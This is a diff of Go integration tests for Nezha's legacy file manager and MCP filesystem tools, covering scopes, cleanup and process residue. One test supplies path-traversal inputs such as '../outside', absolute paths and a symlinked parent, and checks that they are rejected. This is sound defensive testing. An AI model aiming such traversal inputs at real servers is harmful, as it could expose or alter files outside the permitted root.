t.Fatal(err) + } + tests := []struct { + name string + candidate string + wantReason fixture.PathRejectionReason + }{ + {name: "absolute", candidate: filepath.Join(t.TempDir(), "outside"), wantReason: fixture.PathRejectionAbsolute}, + {name: "parent", candidate: "../outside", wantReason: fixture.PathRejectionParent}, + {name: "destructive root", candidate: ".", wantReason: fixture.PathRejectionDestructiveRoot}, + {name: "absolute", candidate: `C:\outside`, wantReason: fixture.PathRejectionAbsolute}, + {name: "separator", candidate: `inside\outside`, wantReason: fixture.PathRejectionSeparator}, + {name: "symlink parent", candidate: "linked/file", wantReason: fixture.PathRejectionSymlinkParent}, + } + operations := []struct { + name string + run func(context.Context, legacyFMCommandDispatcher, string) error + }{ + {name: "list", run: func(ctx context.Context, dispatcher legacyFMCommandDispatcher, candidate string) error { + return dispatcher.list(ctx, candidate) + }}, + {name: "upload", run: func(ctx context.Context, dispatcher legacyFMCommandDispatcher, candidate string) error { + return dispatcher.upload(ctx, candidate, 1) + }}, + {name: "download", run: func(ctx context.Context, dispatcher legacyFMCommandDispatcher, candidate string) error { + return dispatcher.download(ctx, candidate) + }}, + } + for _, test := range tests { + for _, operation := range operations { + t.Run(test.name+"/"+operation.name, func(t *testing.T) { + writer := &legacyFMRecordingWriter{} + dispatcher := legacyFMCommandDispatcher{writer: writer, root: root} + pathErr := operation.run(t.Context(), dispatcher, test.candidate) + var agentPathErr *fixture.AgentPathError + if !errors.As(pathErr, &agentPathErr) || agentPathErr.Reason != test.wantReason { + t.Fatalf("rejected path error=%v, want reason %s", pathErr, test.wantReason) + } + if len(writer.frames) != 0 { + t.Fatalf("rejected path dispatched %d frames", len(writer.frames)) + } + }) + } + } +} + +func TestLegacyFM_OutsideRootSentinelUnchanged(t *testing.T) { + parent := t.TempDir() + root, err := fixture.NewAgentRoot(parent, "fm-sentinel") + if err != nil { + t.Fatal(err) + } + sentinelPath := filepath.Join(parent, "outside-sentinel") + symlinkTargetDir := t.TempDir() + symlinkTargetPath := filepath.Join(symlinkTargetDir, "target-sentinel") + want := []byte("unchanged") + for _, path := range []string{sentinelPath, symlinkTargetPath} { + if err := os.WriteFile(path, want, 0o600); err != nil { + t.Fatal(err) + } + } + if err := os.Symlink(symlinkTargetDir, filepath.Join(root.Absolute(), "linked")); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(root.Absolute(), "inside-dir"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root.Absolute(), "inside-download"), []byte("fixture"), 0o600); err != nil { + t.Fatal(err) + } + + writer := &legacyFMFilesystemWriter{} + dispatcher := legacyFMCommandDispatcher{writer: writer, root: root} + coverage := legacyFMSentinelCoverage{} + coverage.ListRejected = dispatcher.list(t.Context(), "../outside-sentinel") != nil + coverage.UploadRejected = dispatcher.upload(t.Context(), "linked/target-sentinel", uint64(len(want))) != nil + coverage.DownloadRejected = dispatcher.download(t.Context(), sentinelPath) != nil + if writer.frames != 0 { + t.Fatalf("rejected sentinel paths dispatched %d frames", writer.frames) + } + for _, operation := range []func() error{ + func() error { return dispatcher.list(t.Context(), "inside-dir") }, + func() error { return dispatcher.upload(t.Context(), "inside-upload", 8) }, + func() error { return dispatcher.download(t.Context(), "inside-download") }, + } { + if err := operation(); err != nil { + t.Fatal(err) + } + coverage.SuccessCount++ + } + if err := dispatcher.download(t.Context(), "inside-missing"); err != nil { + coverage.ErrorCount++ + } + if err := coverage.validate(); err != nil { + t.Fatal(err) + } + + for _, path := range []string{sentinelPath, symlinkTargetPath} { + got, readErr := os.ReadFile(path) + if readErr != nil { + t.Fatal(readErr) + } + if !bytes.Equal(got, want) { + t.Fatalf("outside-root sentinel %s = %q, want %q", path, got, want) + } + } +} + +func TestLegacyFM_ProducerObservationRejectsHardcodedZero(t *testing.T) { + observation := legacyFMProducerObservation{ + RunID: "run-a", AgentUUID: "agent-a", SessionID: "session-a", + Samples: []agent.FMProducerSample{{RunID: "run-a", AgentUUID: "agent-a", SessionID: "session-a", Phase: "closed", Active: 0}}, + } + + if err := observation.validate(); err == nil { + t.Fatal("producer observation accepted zero-only samples without a live active producer") + } +} + +func TestLegacyFM_SentinelCoverageRejectsNoOp(t *testing.T) { + if err := (legacyFMSentinelCoverage{}).validate(); err == nil { + t.Fatal("sentinel coverage accepted a no-op test without rejected, successful, and failing FM operations") + } +} + +func TestLegacyFM_ProcessResidueRejectsFDAndDescendantDrift(t *testing.T) { + tests := []struct { + name string + end processharness.Sample + }{ + {name: "fd drift", end: processharness.Sample{NonStdioFDCount: 6, DescendantCount: 2}}, + {name: "descendant drift", end: processharness.Sample{NonStdioFDCount: 5, DescendantCount: 3}}, + } + baseline := processharness.Sample{NonStdioFDCount: 5, DescendantCount: 2} + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + if err := (legacyFMProcessResidue{Baseline: baseline, End: test.end}).validate(); err == nil { + t.Fatal("process residue accepted FD or descendant drift") + } + }) + } +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_support.go b/integration/agentcompat/internal/scenario/legacy_fm_support.go new file mode 100644 index 00000000..bb907210 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_support.go @@ -0,0 +1,249 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type legacyFMUserForm struct { + Role uint8 `json:"role"` + Username string `json:"username"` + Password string `json:"password"` +} + +const legacyFMForeignUsername = "agentcompat-fm-foreign" +const legacyFMForeignPassword = "agentcompat-fm-password" // #nosec G101 -- Ephemeral localhost integration fixture, not a production credential. + +type legacyFMFrameWriter interface { + WriteFrame(context.Context, client.Frame) error +} + +type legacyFMCommandDispatcher struct { + writer legacyFMFrameWriter + root fixture.AgentRoot +} + +func (dispatcher legacyFMCommandDispatcher) list(ctx context.Context, relative string) error { + path, err := dispatcher.root.DestructivePath(relative) + if err != nil { + return err + } + return dispatcher.writer.WriteFrame(ctx, client.Frame{Type: client.FrameBinary, Payload: buildLegacyFMList(path)}) +} + +func (dispatcher legacyFMCommandDispatcher) upload(ctx context.Context, relative string, size uint64) error { + path, err := dispatcher.root.DestructivePath(relative) + if err != nil { + return err + } + return dispatcher.writer.WriteFrame(ctx, client.Frame{Type: client.FrameBinary, Payload: buildLegacyFMUpload(path, size)}) +} + +func (dispatcher legacyFMCommandDispatcher) download(ctx context.Context, relative string) error { + path, err := dispatcher.root.DestructivePath(relative) + if err != nil { + return err + } + return dispatcher.writer.WriteFrame(ctx, client.Frame{Type: client.FrameBinary, Payload: buildLegacyFMDownload(path)}) +} + +func createLegacyFMSession(ctx context.Context, dashboardClient *client.Client, serverID uint64, capabilities ...client.IOStreamCapability) (string, error) { + var capability client.IOStreamCapability + if len(capabilities) > 0 { + capability = capabilities[0] + } + response, err := client.DoREST[struct{}, struct { + SessionID string `json:"session_id"` + }](ctx, dashboardClient, client.RESTRequest[struct{}]{Method: http.MethodPost, Path: fmt.Sprintf("/api/v1/file?id=%d", serverID), IOStreamCapability: capability}) + if err != nil { + return "", err + } + if response.SessionID == "" { + return "", errors.New("FM session response omitted session id") + } + return response.SessionID, nil +} + +func verifyLegacyFMMissingScopes(ctx context.Context, dashboardInstance *dashboard.Dashboard, serverID uint64, session string) error { + incompleteScopeSets := [][]string{ + {"nezha:server:write", "nezha:server:delete"}, + {"nezha:server:read", "nezha:server:delete"}, + {"nezha:server:read", "nezha:server:write"}, + } + var scopeChecksErr error + for _, scopes := range incompleteScopeSets { + limited, err := createScopedClient(ctx, dashboardInstance, scopes) + if err != nil { + scopeChecksErr = errors.Join(scopeChecksErr, err) + continue + } + _, createErr := createLegacyFMSession(ctx, limited, serverID) + _, attachErr := limited.DialWebSocket(ctx, "/api/v1/ws/file/"+session) + if !isForbidden(createErr) || !isForbidden(attachErr) { + scopeChecksErr = errors.Join(scopeChecksErr, createErr, attachErr, errors.New("incomplete FM scopes were accepted")) + } + } + return scopeChecksErr +} + +func findLegacyFMServerID(ctx context.Context, dashboardInstance *dashboard.Dashboard, uuid string) (uint64, error) { + type serverListArguments struct { + OnlineOnly bool `json:"online_only"` + } + type serverListResult struct { + Servers []struct { + ID uint64 `json:"id"` + UUID string `json:"uuid"` + } `json:"servers"` + } + result, err := client.CallTool[serverListArguments, serverListResult](ctx, dashboardInstance.Clients().MCP, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + if err != nil { + return 0, err + } + for _, server := range result.StructuredContent.Servers { + if server.UUID == uuid && server.ID != 0 { + return server.ID, nil + } + } + return 0, errors.New("server.list omitted online FM server") +} + +func createForeignLegacyFMClient(ctx context.Context, dashboardInstance *dashboard.Dashboard) (*client.Client, func() error, error) { + admin := dashboardInstance.Clients().REST + userID, err := client.DoREST[legacyFMUserForm, uint64](ctx, admin, client.RESTRequest[legacyFMUserForm]{ + Method: http.MethodPost, + Path: "/api/v1/user", + Body: &legacyFMUserForm{Role: 1, Username: legacyFMForeignUsername, Password: legacyFMForeignPassword}, + }) + if err != nil { + return nil, func() error { return nil }, err + } + cleanup := func() error { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 10*time.Second) + defer cancel() + _, cleanupErr := client.DoREST[[]uint64, struct{}](cleanupContext, admin, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/user", Body: &[]uint64{userID}}) + return cleanupErr + } + loginClient, err := client.New(client.Config{BaseURL: dashboardInstance.URL()}) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + if _, err := loginClient.Login(ctx, client.LoginRequest{Username: legacyFMForeignUsername, Password: legacyFMForeignPassword}); err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + pat, err := client.DoREST[patRequest, patResponse](ctx, loginClient, client.RESTRequest[patRequest]{ + Method: http.MethodPost, + Path: "/api/v1/api-tokens", + Body: &patRequest{Name: "agentcompat-fm-foreign", Scopes: []string{ + "nezha:server:read", "nezha:server:write", "nezha:server:delete", + }}, + }) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + foreign, err := dashboardInstance.AuthenticatedClient(pat.Token) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + return foreign, cleanup, nil +} + +func readLegacyFMDownload(ctx context.Context, connection *client.WebSocketConnection, size uint64) ([]byte, int, error) { + content := make([]byte, 0, size) + frameCount := 0 + for uint64(len(content)) < size { + frame, err := readBinaryFrame(ctx, connection) + if err != nil { + return nil, frameCount, err + } + frameCount++ + if message, ok := parseLegacyFMError(frame); ok { + return nil, frameCount, message + } + remaining := size - uint64(len(content)) + if uint64(len(frame)) > remaining { + return nil, frameCount, errLegacyFMUnexpected + } + content = append(content, frame...) + } + return content, frameCount, nil +} + +func waitForLegacyFMSessionCleanup(ctx context.Context, owner *client.Client, session string) (int, error) { + ticker := time.NewTicker(25 * time.Millisecond) + defer ticker.Stop() + for { + connection, err := owner.DialWebSocket(ctx, "/api/v1/ws/file/"+session) + if isLegacyFMSessionRejected(err) { + return 0, nil + } + if connection != nil { + _ = connection.Close() + } + select { + case <-ctx.Done(): + return 1, ctx.Err() + case <-ticker.C: + } + } +} + +func cleanupLegacyFMFixtures(ctx context.Context, filesystem mcpFilesystemClient) error { + deleted, err := filesystem.delete(ctx, "legacy", true) + if err != nil { + return err + } + if deleted.StructuredContent.DeletedCount != 5 { + return fmt.Errorf("FM cleanup deleted %d entries, want 5", deleted.StructuredContent.DeletedCount) + } + remaining, err := filesystem.list(ctx, ".", true) + if err != nil { + return err + } + if remaining.StructuredContent.Total != 0 || len(remaining.StructuredContent.Entries) != 0 { + return errors.New("FM fixture residue remains after cleanup") + } + return nil +} + +func isLegacyFMSessionRejected(err error) bool { + if isForbidden(err) { + return true + } + var handshakeErr *client.WebSocketHandshakeError + return errors.As(err, &handshakeErr) && strings.Contains(handshakeErr.Message, "permission denied") +} + +func readBinaryFrame(ctx context.Context, connection *client.WebSocketConnection) ([]byte, error) { + frame, err := connection.ReadFrame(ctx) + if err != nil { + return nil, err + } + if frame.Type != client.FrameBinary { + return nil, errLegacyFMUnexpected + } + return frame.Payload, nil +} + +func finishLegacyFM(assertions *AssertionSet, runErr error) (Result, error) { + for _, assertion := range assertions.assertions { + if !assertion.Passed && runErr == nil { + runErr = fmt.Errorf("%s: %s", assertion.Name, assertion.Details) + } + } + result := Result{Name: "legacy-fm", Passed: runErr == nil, Assertions: assertions.Results(), CleanupOK: true} + if runErr != nil { + result.Error = errorText(runErr) + } + return result, runErr +} diff --git a/integration/agentcompat/internal/scenario/legacy_fm_verification.go b/integration/agentcompat/internal/scenario/legacy_fm_verification.go new file mode 100644 index 00000000..4632b9c6 --- /dev/null +++ b/integration/agentcompat/internal/scenario/legacy_fm_verification.go @@ -0,0 +1,147 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "context" + "crypto/rand" + "encoding/hex" + "errors" + "fmt" + "os" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type legacyFMProducerObservation struct { + RunID string + AgentUUID string + SessionID string + Samples []agent.FMProducerSample +} + +type legacyFMProducerAwaiter struct { + observer *agent.FMProducerObserver + identity legacyFMProducerObservation +} + +func newLegacyFMProducerAwaiter(observer *agent.FMProducerObserver, runID, agentUUID, sessionID string) legacyFMProducerAwaiter { + return legacyFMProducerAwaiter{ + observer: observer, + identity: legacyFMProducerObservation{RunID: runID, AgentUUID: agentUUID, SessionID: sessionID}, + } +} + +func (awaiter legacyFMProducerAwaiter) observation(active, closed agent.FMProducerSample) legacyFMProducerObservation { + result := awaiter.identity + result.Samples = []agent.FMProducerSample{active, closed} + return result +} + +func (awaiter legacyFMProducerAwaiter) await(ctx context.Context, phase string) (agent.FMProducerSample, error) { + return awaiter.observer.Await(ctx, func(sample agent.FMProducerSample) bool { + matches := sample.RunID == awaiter.identity.RunID && sample.AgentUUID == awaiter.identity.AgentUUID && sample.SessionID == awaiter.identity.SessionID && sample.Phase == phase + return matches && (phase != "active" || sample.Active > 0) + }) +} + +func (observation legacyFMProducerObservation) validate() error { + if observation.RunID == "" || observation.AgentUUID == "" || observation.SessionID == "" { + return errors.New("FM producer observation identity is incomplete") + } + activeObserved := false + closedObserved := false + for _, sample := range observation.Samples { + if sample.RunID != observation.RunID || sample.AgentUUID != observation.AgentUUID || sample.SessionID != observation.SessionID { + return errors.New("FM producer observation identity mismatch") + } + switch sample.Phase { + case "active": + activeObserved = activeObserved || sample.Active > 0 + case "idle": + continue + case "closed": + closedObserved = sample.Active == 0 + } + } + if !activeObserved { + return errors.New("FM producer observation never saw an active producer") + } + if !closedObserved { + return errors.New("FM producer observation omitted closed zero state") + } + return nil +} + +func (observation legacyFMProducerObservation) details() string { + active := int64(0) + closed := int64(-1) + for _, sample := range observation.Samples { + if sample.Phase == "active" && sample.Active > active { + active = sample.Active + } + if sample.Phase == "closed" { + closed = sample.Active + } + } + return fmt.Sprintf("fm_producer_active_count: %d; fm_producer_residue_count: %d; run_id=%s agent_uuid=%s session_id=%s source=live-agent-task", active, closed, observation.RunID, observation.AgentUUID, observation.SessionID) +} + +type legacyFMSentinelCoverage struct { + ListRejected bool + UploadRejected bool + DownloadRejected bool + SuccessCount int + ErrorCount int +} + +func (coverage legacyFMSentinelCoverage) validate() error { + if !coverage.ListRejected || !coverage.UploadRejected || !coverage.DownloadRejected { + return errors.New("sentinel coverage omitted a typed rejected dispatcher") + } + if coverage.SuccessCount == 0 || coverage.ErrorCount == 0 { + return errors.New("sentinel coverage omitted a real success or error operation") + } + return nil +} + +type legacyFMProcessResidue struct { + Baseline processharness.Sample + End processharness.Sample +} + +func (residue legacyFMProcessResidue) validate() error { + if residue.Baseline.NonStdioFDCount != residue.End.NonStdioFDCount { + return fmt.Errorf("Agent non-stdio FD drift: baseline=%d end=%d", residue.Baseline.NonStdioFDCount, residue.End.NonStdioFDCount) + } + if residue.Baseline.DescendantCount != residue.End.DescendantCount { + return fmt.Errorf("Agent descendant drift: baseline=%d end=%d", residue.Baseline.DescendantCount, residue.End.DescendantCount) + } + if residue.Baseline.TCPListenerCount != residue.End.TCPListenerCount || residue.Baseline.TCP6ListenerCount != residue.End.TCP6ListenerCount { + return errors.New("Agent listener count drift") + } + return nil +} + +func newLegacyFMRunID() (string, error) { + bytes := make([]byte, 16) + if _, err := rand.Read(bytes); err != nil { + return "", fmt.Errorf("generate FM observation run id: %w", err) + } + return hex.EncodeToString(bytes), nil +} + +func verifyLegacyFMSentinels(root *os.Root, sentinelNames []string, sentinel []byte) error { + for _, name := range sentinelNames { + content, err := root.ReadFile(name) + if err != nil { + return err + } + if !bytes.Equal(content, sentinel) { + return errors.New("outside-root sentinel changed") + } + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/mcp_filesystem.go b/integration/agentcompat/internal/scenario/mcp_filesystem.go new file mode 100644 index 00000000..7d7a1ac7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/mcp_filesystem.go @@ -0,0 +1,235 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "slices" + "syscall" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +const mcpFilesystemScenarioName = "mcp-filesystem" + +type MCPFilesystemInput struct { + Paths contract.Paths +} + +type MCPFilesystem struct{} + +type mcpFilesystemClient struct { + client *client.Client + serverID uint64 + root fixture.AgentRoot +} + +type mcpFilesystemWrite struct { + relative string + content string + encoding string + mode string + ifMatchSHA256 string + createDirs bool +} + +func newMCPFilesystemClient(mcpClient *client.Client, serverID uint64, root fixture.AgentRoot) mcpFilesystemClient { + return mcpFilesystemClient{client: mcpClient, serverID: serverID, root: root} +} + +func (filesystem mcpFilesystemClient) list(ctx context.Context, relative string, showHidden bool) (client.ToolCallResult[client.FsListResult], error) { + path, err := filesystem.root.Path(relative) + if err != nil { + return client.ToolCallResult[client.FsListResult]{}, err + } + arguments := client.FsListArguments{ServerID: filesystem.serverID, Path: path.String(), ShowHidden: showHidden} + return client.CallTool[client.FsListArguments, client.FsListResult](ctx, filesystem.client, client.ToolCall[client.FsListArguments]{Name: "fs.list", Arguments: arguments}) +} + +func (filesystem mcpFilesystemClient) read(ctx context.Context, relative string, offset, length int64, encoding string) (client.ToolCallResult[client.FsReadResult], error) { + path, err := filesystem.root.Path(relative) + if err != nil { + return client.ToolCallResult[client.FsReadResult]{}, err + } + arguments := client.FsReadArguments{ServerID: filesystem.serverID, Path: path.String(), Offset: offset, Length: length, Encoding: encoding} + return client.CallTool[client.FsReadArguments, client.FsReadResult](ctx, filesystem.client, client.ToolCall[client.FsReadArguments]{Name: "fs.read", Arguments: arguments}) +} + +func (filesystem mcpFilesystemClient) write(ctx context.Context, write mcpFilesystemWrite) (client.ToolCallResult[client.FsWriteResult], error) { + path, err := filesystem.root.Path(write.relative) + if err != nil { + return client.ToolCallResult[client.FsWriteResult]{}, err + } + arguments := client.FsWriteArguments{ServerID: filesystem.serverID, Path: path.String(), Content: write.content, Encoding: write.encoding, Mode: write.mode, IfMatchSHA256: write.ifMatchSHA256, CreateDirs: write.createDirs} + return client.CallTool[client.FsWriteArguments, client.FsWriteResult](ctx, filesystem.client, client.ToolCall[client.FsWriteArguments]{Name: "fs.write", Arguments: arguments}) +} + +func (filesystem mcpFilesystemClient) delete(ctx context.Context, relative string, recursive bool) (client.ToolCallResult[client.FsDeleteResult], error) { + path, err := filesystem.root.DestructivePath(relative) + if err != nil { + return client.ToolCallResult[client.FsDeleteResult]{}, err + } + arguments := client.FsDeleteArguments{ServerID: filesystem.serverID, Path: path.String(), Recursive: recursive} + return client.CallTool[client.FsDeleteArguments, client.FsDeleteResult](ctx, filesystem.client, client.ToolCall[client.FsDeleteArguments]{Name: "fs.delete", Arguments: arguments}) +} + +func (MCPFilesystem) Run(ctx context.Context, input MCPFilesystemInput) (result Result, runErr error) { + assertions := NewAssertionSet() + fixtureParent, err := os.MkdirTemp("", "agentcompat-mcp-filesystem-") + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + root, err := fixture.NewAgentRoot(fixtureParent, "agent-filesystem") + if err != nil { + _ = os.RemoveAll(fixtureParent) + return mcpFilesystemFinish(assertions, err) + } + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + _ = os.RemoveAll(fixtureParent) + return mcpFilesystemFinish(assertions, err) + } + defer func() { + cleanupErr := errors.Join(dashboardInstance.Stop(context.Background()), os.RemoveAll(fixtureParent)) + result.CleanupOK = cleanupErr == nil && dashboardInstance.CleanupReceipt().Passed + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + agentInstance, err := agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: "00000000-0000-0000-0000-000000000212"}) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + defer func() { + cleanupErr := agentInstance.Stop(context.Background()) + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return mcpFilesystemFinish(assertions, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return mcpFilesystemFinish(assertions, err) + } + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + mcpClient, err := createScopedClient(ctx, dashboardInstance, []string{"nezha:*"}) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + initialize, err := mcpClient.Initialize(ctx) + assertions.Record("MCP initialize exact protocol and server", err == nil && initialize.ProtocolVersion == "2024-11-05" && initialize.ServerInfo.Name == "nezha-mcp" && initialize.ServerInfo.Version != "", errorText(err)) + tools, err := mcpClient.ListTools(ctx) + toolNames := make([]string, 0, len(tools.Tools)) + for _, tool := range tools.Tools { + toolNames = append(toolNames, tool.Name) + } + wantTools := []string{"fs.delete", "fs.list", "fs.read", "fs.write", "meta.whoami", "server.get", "server.list"} + assertions.Record("tools.list exposes filesystem identity and inventory tools", err == nil && containsAll(toolNames, wantTools), errorText(err)) + whoami, err := client.CallTool[struct{}, client.WhoAmIResult](ctx, mcpClient, client.ToolCall[struct{}]{Name: "meta.whoami", Arguments: struct{}{}}) + identity := whoami.StructuredContent + assertions.Record("meta.whoami exact administrator PAT identity", err == nil && identity.UserID != 0 && identity.IsAdmin && identity.TokenID != 0 && identity.TokenName == "agentcompat-scope-check" && slices.Equal(identity.Scopes, []string{"nezha:*"}) && len(identity.ServerIDs) == 0, errorText(err)) + servers, err := client.CallTool[client.ServerListArguments, client.ServerListResult](ctx, mcpClient, client.ToolCall[client.ServerListArguments]{Name: "server.list", Arguments: client.ServerListArguments{OnlineOnly: true}}) + serverID := uint64(0) + for _, server := range servers.StructuredContent.Servers { + if server.UUID == agentInstance.UUID() && server.Online { + serverID = server.ID + } + } + assertions.Record("server.list exact online UUID and count", err == nil && readiness.UUID == agentInstance.UUID() && serverID != 0 && servers.StructuredContent.Count == len(servers.StructuredContent.Servers), errorText(err)) + server, err := client.CallTool[client.ServerGetArguments, client.ServerGetResult](ctx, mcpClient, client.ToolCall[client.ServerGetArguments]{Name: "server.get", Arguments: client.ServerGetArguments{ServerID: serverID}}) + assertions.Record("server.get exact typed identity Host and State", err == nil && server.StructuredContent.ID == serverID && server.StructuredContent.UUID == agentInstance.UUID() && string(server.StructuredContent.Host) != "null" && string(server.StructuredContent.State) != "null", errorText(err)) + if err != nil || serverID == 0 { + return mcpFilesystemFinish(assertions, errors.New("filesystem scenario inventory setup failed")) + } + filesystem := newMCPFilesystemClient(mcpClient, serverID, root) + if err := verifyMCPFilesystemPathGuards(ctx, assertions, filesystem, fixtureParent); err != nil { + return mcpFilesystemFinish(assertions, err) + } + const agentFixtureIdentity = 65534 + permissionCredential := &syscall.Credential{Uid: agentFixtureIdentity, Gid: agentFixtureIdentity} + permissionAgent, err := agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: "00000000-0000-0000-0000-000000000213", Credential: permissionCredential}) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + defer func() { + cleanupErr := permissionAgent.Stop(context.Background()) + if cleanupErr != nil && runErr == nil { + runErr = cleanupErr + result.Passed = false + result.Error = errorText(cleanupErr) + } + }() + if _, err := permissionAgent.WaitReady(ctx, dashboardInstance); err != nil { + return mcpFilesystemFinish(assertions, err) + } + permissionClient, err := createScopedClient(ctx, dashboardInstance, []string{"nezha:*"}) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + permissionServers, err := client.CallTool[client.ServerListArguments, client.ServerListResult](ctx, permissionClient, client.ToolCall[client.ServerListArguments]{Name: "server.list", Arguments: client.ServerListArguments{OnlineOnly: true}}) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + permissionServerID := uint64(0) + for _, server := range permissionServers.StructuredContent.Servers { + if server.UUID == permissionAgent.UUID() && server.Online { + permissionServerID = server.ID + } + } + if permissionServerID == 0 { + return mcpFilesystemFinish(assertions, errors.New("permission Agent is absent from server.list")) + } + permissionContract, err := observePermissionAgent(permissionAgent, permissionCredential, newMCPFilesystemClient(permissionClient, permissionServerID, root)) + if err != nil { + return mcpFilesystemFinish(assertions, err) + } + if err := runMCPFilesystemOperations(ctx, assertions, filesystem, permissionContract, dashboardInstance); err != nil { + return mcpFilesystemFinish(assertions, err) + } + return mcpFilesystemFinish(assertions, nil) +} + +func containsAll(values, required []string) bool { + for _, value := range required { + if !slices.Contains(values, value) { + return false + } + } + return true +} + +func mcpFilesystemFinish(assertions *AssertionSet, runErr error) (Result, error) { + failedAssertion := false + for _, assertion := range assertions.assertions { + if !assertion.Passed { + failedAssertion = true + if runErr == nil { + runErr = fmt.Errorf("%s: %s", assertion.Name, assertion.Details) + } + } + } + if runErr != nil && !failedAssertion { + assertions.Record("scenario execution completed", false, errorText(runErr)) + } + result := Result{Name: mcpFilesystemScenarioName, Passed: runErr == nil, Assertions: assertions.Results()} + if runErr != nil { + result.Error = evidence.Redact(runErr.Error()) + } + return result, runErr +} diff --git a/integration/agentcompat/internal/scenario/mcp_filesystem_agent_evidence.go b/integration/agentcompat/internal/scenario/mcp_filesystem_agent_evidence.go new file mode 100644 index 00000000..e466c32d --- /dev/null +++ b/integration/agentcompat/internal/scenario/mcp_filesystem_agent_evidence.go @@ -0,0 +1,59 @@ +//go:build linux + +package scenario + +import ( + "fmt" + "os" + "strconv" + "strings" + "syscall" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" +) + +type permissionAgentContract struct { + filesystem mcpFilesystemClient + uid uint32 + gid uint32 + processContract bool +} + +func observePermissionAgent(agentInstance *agent.Agent, credential *syscall.Credential, filesystem mcpFilesystemClient) (permissionAgentContract, error) { + status, err := os.ReadFile(fmt.Sprintf("/proc/%d/status", agentInstance.PID())) + if err != nil { + return permissionAgentContract{}, fmt.Errorf("read permission Agent process status: %w", err) + } + uid, err := effectiveProcessIdentity(status, "Uid:") + if err != nil { + return permissionAgentContract{}, err + } + gid, err := effectiveProcessIdentity(status, "Gid:") + if err != nil { + return permissionAgentContract{}, err + } + return permissionAgentContract{ + filesystem: filesystem, + uid: uid, + gid: gid, + processContract: uid == credential.Uid && gid == credential.Gid, + }, nil +} + +func effectiveProcessIdentity(status []byte, field string) (uint32, error) { + for line := range strings.SplitSeq(string(status), "\n") { + if !strings.HasPrefix(line, field) { + continue + } + values := strings.Fields(strings.TrimPrefix(line, field)) + if len(values) < 2 { + break + } + identity, err := strconv.ParseUint(values[1], 10, 32) + if err != nil { + return 0, fmt.Errorf("parse effective process %s: %w", field, err) + } + return uint32(identity), nil + } + return 0, fmt.Errorf("process status missing %s", field) +} diff --git a/integration/agentcompat/internal/scenario/mcp_filesystem_operations.go b/integration/agentcompat/internal/scenario/mcp_filesystem_operations.go new file mode 100644 index 00000000..36ecbe41 --- /dev/null +++ b/integration/agentcompat/internal/scenario/mcp_filesystem_operations.go @@ -0,0 +1,148 @@ +//go:build linux + +package scenario + +import ( + "context" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "errors" + "fmt" + "net/http" + "os" + "slices" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +func runMCPFilesystemOperations(ctx context.Context, assertions *AssertionSet, filesystem mcpFilesystemClient, permission permissionAgentContract, dashboardInstance *dashboard.Dashboard) error { + text := "typed filesystem payload" + textHash := sha256.Sum256([]byte(text)) + textDigest := hex.EncodeToString(textHash[:]) + written, err := filesystem.write(ctx, mcpFilesystemWrite{relative: "tree/text.txt", content: text, encoding: "utf8", mode: "0640", createDirs: true}) + assertions.Record("fs.write create_dirs size and SHA", err == nil && written.StructuredContent.Size == int64(len(text)) && written.StructuredContent.SHA256 == textDigest, errorText(err)) + if err != nil { + return err + } + tree, err := filesystem.list(ctx, "tree", false) + assertions.Record("fs.write 